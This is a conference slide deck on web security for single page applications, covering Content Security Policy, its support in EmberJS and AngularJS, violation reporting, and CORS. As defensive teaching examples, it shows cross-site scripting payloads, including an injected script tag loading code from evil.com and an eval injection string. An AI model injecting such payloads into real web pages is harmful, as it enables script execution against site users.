@PhilippeDeRyck#Devoxx #SecureSPA

EmberJS Developers already Know CSP

@PhilippeDeRyck#Devoxx #SecureSPA

The Essence of CSP• CSP reduces the harm of content injection vulnerabilities

• By telling the client where resources should be loaded from• By disabling “dangerous features” by default

• CSP is intended as a second line of defense

• A policy consists of a set of directives• Each directive controls a different kind of resource• Policy is delivered as an HTTP header by the server• Compatible browsers will enforce the policy on the response

@PhilippeDeRyck#Devoxx #SecureSPA

Introducing CSP by Example

<h1>You searched for<script>alert(‘XSS’);</script></h1>

XSS WITH INLINE SCRIPTS

<h1>You searched for<script src=“https://evil.com/hackme.js”></script></h1>

XSS WITH REMOTE SCRIPTS

eval('alert("Your query string was ' + unescape(document.location.search) //hello%22);alert(1+%22 + '");');

XSS WITH EVAL

@PhilippeDeRyck#Devoxx #SecureSPA

Introducing CSP by Example

Content-Security-Policy:default-src 'self';

EXAMPLE POLICY

Content-Security-Policy:default-src 'self';script-src ‘self’

https://cdnjs.cloudflare.com;

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

Content Security Policy• CSP started as a research paper by the Mozilla team

• Aim to give administrator control over appearance of site• Aim to give users some confidence where data is sent to• Even in the presence of an attacker that controls content

• By default, CSP will:• Prevent resources from being loaded from non-whitelisted locations• The use of eval()• Inline content from being executed

• Scripts and styles

@PhilippeDeRyck#Devoxx #SecureSPA

Introducing CSP by Example

104

Content-Security-Policy:default-src 'self';script-src ‘self’

https://cdnjs.cloudflare.com;style-src ‘self’

https://cdnjs.cloudflare.com/…/bootstrap.min.css;

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

CSP is the Security Policy of the Future• CSP has been well received, and evolved quickly

• Addition of plugin types, sandbox, child contexts, form destinations• Additional spec adds UI Security Directives• Deprecates X-FRAME-OPTIONS header• Additional features to overcome implementation hurdles

• Widely supported by browsers

• Chrome makes CSP mandatory for its components• Browser extensions and packaged apps

@PhilippeDeRyck#Devoxx #SecureSPA

CSP is the Security Policy of the Future

http://caniuse.com/#search=csp

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Overview of CSP’s Directives• By default, CSP will:

• Prevent resources from being loaded from non-whitelisted locations

• default-src• Specifies the default sources of all content

• Can be overwritten with more specific directives for each type

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Overview of CSP’s Directives• img-src, style-src, font-src, child-src, media-src, object-src

• Specifies the sources of these content types

• connect-src, form-action• Specifices the destination of these actions

• Sandbox and frame-ancestors

@PhilippeDeRyck#Devoxx #SecureSPA

Revisiting the CSP Example

Content-Security-Policy:default-src 'self';script-src ‘self’

https://cdnjs.cloudflare.com;style-src ‘self’

https://cdnjs.cloudflare.com/…/bootstrap.min.css;

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

Obeying CSP’s Content Restrictions

<script>function run() {

alert(’booh!');}

</script>

<a href="#" onclick="run()">…</a>

INLINE SCRIPT

<script src="myscript.js"></script><a href="#" id="myLink">...</a>

EXTERNALIZED SCRIPT

function run() {alert('booh!');

}document.addEventListener('DOMContentReady',

function () {document.getElementById('myLink')

.addEventListener('click', run);});

EXTERNALIZED SCRIPT

@PhilippeDeRyck#Devoxx #SecureSPA

Lifting Content Restrictions in CSP• script-src and style-src support the lifting of restrictions

• By specifying ‘unsafe-inline’ and ‘unsafe-eval’

• Not recommended, as this renders protection useless

Content-Security-Policy:default-src 'self';script-src ‘self’ ‘unsafe-inline’

https://cdnjs.cloudflare.com;style-src ‘self’

https://cdnjs.cloudflare.com/…/bootstrap.min.css;

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

Lifting Content Restrictions in CSP• CSP Level 2 supports nonces and hashes

• Inline script and style blocks can be allowed

Content-Security-Policy:script-src ‘self’ ‘nonce-RANDOM’;

EXAMPLE POLICY WITH A NONCE

<script nonce=“RANDOM”>…</script>

EXAMPLE USE OF A NONCE

@PhilippeDeRyck#Devoxx #SecureSPA

Lifting Content Restrictions in CSP• CSP Level 2 supports nonces and hashes

• Inline script and style blocks can be allowed

Content-Security-Policy:script-src ‘self’ ‘nonce-a8qzj1r’;

EXAMPLE POLICY WITH A NONCE

<script nonce=“a8qzj1r”>…</script>

EXAMPLE USE OF A NONCE

@PhilippeDeRyck#Devoxx #SecureSPA

CSP is the Security Policy of the Future

http://caniuse.com/#search=csp

@PhilippeDeRyck#Devoxx #SecureSPA

CSP ExamplesGoal: Load no external resources

Content-Security-Policy:default-src ‘self’;

EXAMPLE POLICY

Goal: Only allow HTTPS content

Content-Security-Policy:default-src https: ‘unsafe-inline’ ‘unsafe-eval’;

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

CSP and JS MVC Frameworks• Default behavior of MVC frameworks is not CSP compatible

• Dependent on string-to-code functionality

• Requires unsafe-eval in CSP, which kind of misses the point

@PhilippeDeRyck#Devoxx #SecureSPA

CSP and JS MVC Frameworks• Default behavior of MVC frameworks is not CSP compatible

• Dependent on string-to-code functionality

• Requires unsafe-eval in CSP, which kind of misses the point

• However, frameworks are catching up quickly• EmberJS enables CSP by default when you create a new app

@PhilippeDeRyck#Devoxx #SecureSPA

EmberJS Enables CSP by Default• Taken care of by ember-cli-content-security-policy

• CSP policy can be updated through environment.js

ENV.contentSecurityPolicyHeader = "Content-Security-Policy" ENV.contentSecurityPolicy = {

'default-src': "'none'",'script-src': "'self’ https://",…

}

UPDATING THE EMBERJS CSP POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

EmberJS Enables CSP by Default

119

Content-Security-Policy-Report-Only:default-src ‘none';script-src ‘self’;font-src ‘self’; img-src ‘self’;

style-src ‘self’;media-src ‘self’;

connect-src ‘self’ http://0.0.0.0:4200/csp-report;report-uri http://0.0.0.0:4200/csp-report;

EMBERJS DEFAULT CSP POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

CSP and JS MVC Frameworks• Default behavior of MVC frameworks is not CSP compatible

• Dependent on string-to-code functionality

• Requires unsafe-eval in CSP, which kind of misses the point

• However, frameworks are catching up quickly• EmberJS enables CSP by default when you create a new app

• AngularJS offers a special CSP mode, making it compatible with CSP

<html ng-app ng-csp> … </html>

CSP-COMPLIANT ANGULARJS

@PhilippeDeRyck#Devoxx #SecureSPA

Enabling Dynamic Behavior with CSP• So how does AngularJS process event handlers?

• Parse ‘ng’-attributes

• Create anonymous functions, connected with events

• Wait for event handler to fire

• Technically, not inline, and no eval()

$element.onclick = function($event) {$event[‘view’][‘alert’](‘1’)

}

https://code.google.com/p/mustache-security/

@PhilippeDeRyck#Devoxx #SecureSPA

Enabling Dynamic Behavior with CSP

• Sometimes, styles need to be applied dynamically from JS• Triggers CSP warnings, requiring the use of unsafe-inline for styles

@PhilippeDeRyck#Devoxx #SecureSPA

Enabling Dynamic Behavior with CSP

• Fixed by using DOM manipulation• Not inline style, because this can not be injected directly

• Would require a script injection attack first, which CSP also covers

@PhilippeDeRyck#Devoxx #SecureSPA

Wrapping Up CSP• CSP gives you control over what happens in your app context

• Requires you to follow some coding guidelines

• Can be really powerful

• JS MVC frameworks aim for compatibility with CSP• AngularJS and EmberJS do this really well

• Take advantage of this capability and start working on your policy

• CSP’s reporting mode is great to start building a policy

@PhilippeDeRyck#Devoxx #SecureSPA

CSP Violation Reports• CSP can report violations back to the resource server

• Allows for fine-tuning of the CSP policy

• Gives insights in actual attacks

• Enabled by using the report-uri directive

Content-Security-Policy:default-src 'self'; report-uri http://some-shop.com/csp-report.cgi

EXAMPLE POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

CSP Violation Report Example

{"csp-report": {"document-uri": "http://some-shop.com/page.html","referrer": "http://attacker.com/haxor.html","blocked-uri": "http://attacker.com/image.png","violated-directive": "default-src 'self'","effective-directive": "img-src","original-policy": "default-src 'self'; report-uri http://some-shop.com/csp-report.cgi"

}}

EXAMPLE VIOLATION REPORT

@PhilippeDeRyck#Devoxx #SecureSPA

CSP in Report-Only Mode• CSP can be deployed in reporting mode

• No content will be blocked

• Warnings will be generated in console

• If report-uri is specified, error reports will be sent

• Great for trying out policies before deploying them

Content-Security-Policy-Report-Only:default-src 'self'; report-uri http://some-shop.com/csp-report.cgi

REPORT-ONLY POLICY

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• Content Security Policy (CSP)

• What can CSP do for you?

• What do you need to do for CSP?

• How does CSP cooperate with JS MVC frameworks?

• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

• Resource sharing across origins

• Protecting legacy servers

• Expanding the reach of CORS to HTML elements

@PhilippeDeRyck#Devoxx #SecureSPA

Web Applications Did not Rely on APIs

POST newItem.phpDescription:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New

<html>…

</html>

@PhilippeDeRyck#Devoxx #SecureSPA

And Browsers Would Get Mad …

@PhilippeDeRyck#Devoxx #SecureSPA

But Things Started to Change• Developers wanted to share data across applications

• E.g. Google services, Facebook’s Graph API, …

• Even though this was not intended behavior on the Web

• Dire situations are ideal to spark creativity• Developers found ways to do it, behind the browser’s back

• Using server-side proxies

• Using JSONP

@PhilippeDeRyck#Devoxx #SecureSPA

Server-Side Proxies

Load page

www.websec.be

XHR: Load contentfrom websec.be Load page

www.example.com

@PhilippeDeRyck#Devoxx #SecureSPA

JSONP – JSON with Padding

Load page

Load scriptfrom websec.be

www.example.com

www.websec.be

<script src=“http://www.websec.be/data?callback=showUsers”></script>

showUsers([{"id": 1, "name": "Philippe"}, {"id": 2, "name": "NotPhilippe"}]);

@PhilippeDeRyck#Devoxx #SecureSPA

Things Became a Mess• The landscape started to evolve very quickly

• More and more companies started offering APIs

• More and more applications started integrating APIs

• The hacks being used in practice suffer from severe security issues

• Essentially, it was time to offer API access by design• So just allow XHR to access APIs on another origin

• This is exactly what Cross-Origin Resource Sharing does

• But it needs 22 pages of specification to do so

@PhilippeDeRyck#Devoxx #SecureSPA

Simply Allowing XHR across OriginsLoad page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.websec.be/profile', false);xhr.send();

// Access the profile dataalert(xhr.responseText);

@PhilippeDeRyck#Devoxx #SecureSPA

Simply Allowing XHR across OriginsLoad page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.websec.be/profile', false);xhr.send();

// Access the profile dataalert(xhr.responseText);

@PhilippeDeRyck#Devoxx #SecureSPA

Simply Allowing XHR across OriginsLoad page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.websec.be/profile', false);xhr.send();

// Access the profile dataalert(xhr.responseText);

@PhilippeDeRyck#Devoxx #SecureSPA

Simply Allowing XHR across OriginsLoad page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.websec.be/profile', false);xhr.send();

// Access the response dataalert(xhr.getAllResponseHeaders());

@PhilippeDeRyck#Devoxx #SecureSPA

Cross-Origin XHR Is Dangerous!• Which is why CORS puts some restrictions in place

• The browser enforces these checks on the XHR call• If everything is OK, access to the resource (response) is granted

• Otherwise, access is denied

CORS allows the server to tell the browser that a resource can be accessed by a specific origin

@PhilippeDeRyck#Devoxx #SecureSPA

Simple CORS Example

Load page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

Origin: http://www.example.com

Access-Control-Allow-Origin: http://www.example.com

@PhilippeDeRyck#Devoxx #SecureSPA

Handling Credentials• Requests can be anonymous or authenticated

• By default, credentials (i.e. cookies) are not sent

• Can be enabled by setting the withCredentials flag

• When credentials are used, the server must acknowledge this• By sending the Access-Control-Allow-Credentials response header

• Aim is to prevent illegitimate use of the user’s credentials• Not intended to protect the server from malicious requests

@PhilippeDeRyck#Devoxx #SecureSPA

Simple CORS Example with Credentials

Load page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

Origin: http://www.example.comCookie: PHPSESSID=1a2b3c4d5e6f

Access-Control-Allow-Origin: http://www.example.com

Access-Control-Allow-Credentials: true

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.websec.be/profile', false);xhr.withCredentials = true;xhr.send();

@PhilippeDeRyck#Devoxx #SecureSPA

Elegantly Dealing with Legacy Servers

Load page

XHR: load user’s profile from websec.be

www.example.com

www.websec.be

Origin: http://www.example.com

@PhilippeDeRyck#Devoxx #SecureSPA

Elegantly Dealing with Legacy Servers

@PhilippeDeRyck#Devoxx #SecureSPA

But There Is More …Load page

XHR: delete user’s profile from websec.be

www.example.com

www.websec.be

Origin: http://www.example.com

Absence of header means that this is not allowed

var xhr = new XMLHttpRequest();xhr.open(’DELETE', 'http://www.websec.be/profile/1', false);xhr.send();

// Access to the response is denied

@PhilippeDeRyck#Devoxx #SecureSPA

But There Is More …• Denying access to the response protects sensitive data

• Prevents an attacker from reading the user’s data

• But data retrieval is a stateless operation on the server side

• Most APIs also offer operations that trigger state changes• Creating, updating and deleting resources

• Denying access to the response does not really cut it here …

• Such cross-origin requests need to be explicitly approved

@PhilippeDeRyck#Devoxx #SecureSPA

And That’s why CORS Is Complicated• With CORS, plenty of security assumptions change

• Access to the response of cross-origin GET requests was impossible

• Cross-origin PUT and DELETE requests used to be impossible

• Cross-origin POST requests were limited to form fields

• CORS needs to ensure that these assumptions stay true• Otherwise, countless legacy servers become vulnerable

@PhilippeDeRyck#Devoxx #SecureSPA

Simple and Non-Simple Requests• Simple requests are requests that were already possible

• E.g. a cross-origin POST request through a form submission

• For these requests, it suffices to protect the data in the response

• Non-simple requests add new capabilities• E.g. a cross-origin DELETE request

• Here, the browser can only send the request if the server expects it

• CORS addresses this problem with a preflight request

@PhilippeDeRyck#Devoxx #SecureSPA

The Flow of a Preflight RequestLoad page

Check if delete is allowed

www.example.com

www.websec.be

OPTIONS /profile/1 HTTP/1.1Origin: http://www.example.com

Access-Control-Request-Method: DELETE

Access-Control-Allow-Origin: http://www.example.comAccess-Control-Allow-Methods: GET, PUT, DELETE

Actual deleteDELETE /profile/1 HTTP/1.1

Origin: http://www.example.com

Access-Control-Allow-Origin: http://www.example.com

@PhilippeDeRyck#Devoxx #SecureSPA

Preflight Configuration Options• The preflight request asks for permission

• Based on the data that will be sent with the actual request

• CORS preflight request headers• Origin• Access-Control-Request-Method

• Specify the method that will be used for the non-simple request• Access-Control-Request-Headers

• Specify which custom headers will be added to the request

@PhilippeDeRyck#Devoxx #SecureSPA

Preflight Configuration Options• CORS response headers on preflight requests

• Access-Control-Allow-Origin

• Access-Control-Allow-Methods

• Indicate which methods can be used for the actual request• Access-Control-Allow-Headers

• Indicate which request headers can be used for the actual request• Access-Control-Max-Age

• Indicate how long this response should be cached• Access-Control-Allow-Credentials

• Indicate if the actual request can include credentials

@PhilippeDeRyck#Devoxx #SecureSPA

Preflight Configuration Options• CORS response headers on actual requests

• Access-Control-Allow-Origin• Access-Control-Expose-Headers

• Indicate which response headers the browser can expose• Access-Control-Allow-Credentials

• Indicate if the response can be exposed if credentials are used

@PhilippeDeRyck#Devoxx #SecureSPA

Preflight Requests in Practice• Server configuration

• Developer needs to specify a policy

• Plenty of frameworks/middleware offers the automatic configuration

• For efficiency reasons, preflights are cached by the browser• Eliminates an additional round trip for the lifetime of the entry

• Mandatory if you use custom headers (e.g. JWT tokens)• CORS only allows cookies without preflight for simple requests

@PhilippeDeRyck#Devoxx #SecureSPA

CORS in Practice• Virtually all modern browsers are CORS-enabled

http://caniuse.com/#search=cors

@PhilippeDeRyck#Devoxx #SecureSPA

CORS in Practice• Virtually all modern browsers are CORS-enabled

• Many server-side frameworks support CORS configuration• Many publicly available APIs are CORS-enabled

And many more …

@PhilippeDeRyck#Devoxx #SecureSPA

How Can You Join Them?• By configuring your own CORS policy!

• Some guidelines• Protect resources that should not be accessed by other origins

• Do not return any CORS headers

• Publicly accessible, non-sensitive resources are available to all

• JavaScript files that do not contain sensitive data or comments

Access-Control-Allow-Origin: *

Access-Control-Allow-Origin: *

@PhilippeDeRyck#Devoxx #SecureSPA

How Can You Join Them?• If the request carries credentials

• Verify if the value of the Origin header matches an accepted origin

• If not, abort without sending any headers

• Verify if the user is authorized to access the requested resource

• Take the method and custom headers into account

• If not, abort without sending any headers

• Process the request, and send the appropriate headersAccess-Control-Allow-Origin: http://www.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: X-API-VERSION

@PhilippeDeRyck#Devoxx #SecureSPA

CORS beyond XHR• CORS stands for Cross-Origin Resource Sharing

• It has uses beyond accessing APIs with XHR

• Protects illegitimate access to sensitive cross-origin resources

• CORS is essential in several HTML5 elements• Prevents arbitrary origins from extracting information

• Applies to the canvas element (images and videos)

• Applies to metadata that is part of a multimedia elements

• E.g. subtitles of a video

@PhilippeDeRyck#Devoxx #SecureSPA

HTML5 Canvas without CORS

www.websec.beContext: www.example.com

Get image<img src=“…” />

<canvas></canvas>

img.onload = function() {canvas.width = img.width;canvas.height = img.height;ctx.drawImage( img, 0, 0 );

}

Get image

@PhilippeDeRyck#Devoxx #SecureSPA

HTML5 Canvas without CORS

www.websec.beContext: www.example.com

Get image<img src=“…” />

<canvas></canvas>

// Get the CanvasPixelArray from the given coordinates and dimensions.var imgd = context.getImageData(x, y, width, height);var pix = imgd.data;

// Extract as Data URIcanvas.toDataURL("image/png”);

Get image

@PhilippeDeRyck#Devoxx #SecureSPA

HTML5 Canvas with CORS

www.websec.beContext: www.example.com

<canvas></canvas>

Get image

var img = new Image();img.crossOrigin = "Anonymous"; //or "use-credentials”img.src = "http://www.websec.be/topsecret.png";

Origin: http://www.example.com

Access-Control-Allow-Origin: http://www.example.com

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

• Resource sharing across origins

• Protecting legacy servers

• Expanding the reach of CORS to HTML elements

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Applications• Single Page Applications differ from traditional applications

• Typically run on a client-side JavaScript MVC framework

• Have a lot more responsibilities than traditional HTML pages

• But take a lot of the burden from the developer

• SPAs are backed by a data-driven server-side API• More focused and more concise API

• Allows for better testing and API reuse across applications

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Recap• Two approaches to session management

• Server-side sessions give you the most control, but require state

• Client-side sessions give you more flexibility, but require integrity

• Two common transport mechanisms for session information• Cookies are widely supported in browsers, but suffer from CSRF

• Tokens require a bit more effort, but fit better in an API landscape

• Constantly evaluate your security assumptions!

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Recap• You should be really really frightened by XSS

• An excellent attack vector for your worst nightmare

• We are at a point where we can eradicate XSS• Mitigating XSS is not difficult, but consistently doing it everywhere is

• Many JS MVC frameworks do this for you, let them

• Deploying a CSP policy tightens your security even further

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Recap• Content Security Policy puts you back in control

• It may seem very complex when you look at it, but it really is not

• Follow a few coding guidelines, and you will be able to deploy CSP

• Lock down what comes in to your client-side app, and what gets out

• Use CSPs reporting mode to be warned of potential threats• Catch bugs during development (e.g. loading non-HTTPS resources)

• Catch potential malware within the user’s browser

• CSP does not relieve you from mitigating XSS!

@PhilippeDeRyck#Devoxx #SecureSPA

A Quick Recap• CORS makes the use of cross-origin APIs possible by design

• Careful consideration went into developing this security policy

• Benefit from CORS by understanding how it works

• Make your API CORS-compliant• Expose the public parts for everyone to build a better Web

• Lock down the private parts for your origins only

• CORS does not replace server-side authorization!

@PhilippeDeRyck#Devoxx #SecureSPA

The Times They Are a-Changin’• Traditional browser security is at the core of the Web

• Server-driven client-side security policies are the future• Augment the traditional security policies with the necessary context

• Custom security policy, specifically tailored towards the application

• They give you the power to build secure applications• Give you control over what happens in your application

• Take advantage of these capabilities!

@PhilippeDeRyck#Devoxx #SecureSPA

Progressive Web Security Training Course4 topics, 4 hands-on training days

Starting from November 19, 1 session each week

https://goo.gl/17hVTa